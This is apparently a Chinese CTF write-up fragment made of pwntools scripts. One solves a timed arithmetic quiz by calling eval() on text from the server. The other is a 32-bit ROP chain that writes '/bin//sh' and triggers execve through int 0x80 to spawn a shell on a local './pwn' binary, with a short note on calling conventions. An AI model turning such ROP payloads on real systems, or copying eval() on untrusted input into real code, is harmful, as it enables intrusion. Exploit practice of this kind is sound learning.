sh = remote('127.0.0.1', 43425) sh.recvuntil("Test start, you have only 30 seconds.\nLet's begin with simple ones.\n") title = sh.recvuntil('=').strip().decode()[:-1] result = eval(title) sh.sendline(str(result)) title = sh.recvuntil('=').strip().decode()[:-1] result = math.floor(eval(title)) sh.sendline(str(result)) sh.recvuntil('OK, then some tough ones. Be WELL PREPARED!\n') for i inrange(100): title = sh.recvuntil('=').strip().decode()[:-1] title = title.replace("\n","").replace(" ","").replace(" ","") print("title",title) result = math.floor(eval(title)) print(result) sh.sendline(str(result))
这是什么?32-bit!
Linux 遵循的 AMD64 System V ABI 使用 6 个寄存器(rdi、rsi…)传递函数参数,参数数量大于 6 个时才继续使用栈传递参数。然而 32 位程序只使用栈传递参数,参数从右至左依次入栈。
context(os='linux', arch='amd64', log_level='debug') sh = process('./pwn')
name = 0x080EF320 # Padding goes here p = b''
p += pack('<I', 0x08060bd1) # pop edx ; ret p += pack('<I', 0x080ee060) # @ .data p += pack('<I', 0x080b470a) # pop eax ; ret p += b'/bin' p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08060bd1) # pop edx ; ret p += pack('<I', 0x080ee064) # @ .data + 4 p += pack('<I', 0x080b470a) # pop eax ; ret p += b'//sh' p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08060bd1) # pop edx ; ret p += pack('<I', 0x080ee068) # @ .data + 8 p += pack('<I', 0x080507e0) # xor eax, eax ; ret p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08049022) # pop ebx ; ret p += pack('<I', 0x080ee060) # @ .data p += pack('<I', 0x08049802) # pop ecx ; ret p += pack('<I', 0x080ee068) # @ .data + 8 p += pack('<I', 0x08060bd1) # pop edx ; ret p += pack('<I', 0x080ee068) # @ .data + 8 p += pack('<I', 0x080507e0) # xor eax, eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08082bbe) # inc eax ; ret p += pack('<I', 0x08049c6a) # int 0x80
sh.recvuntil(b"could you tell me your name?\n") sh.sendline(p)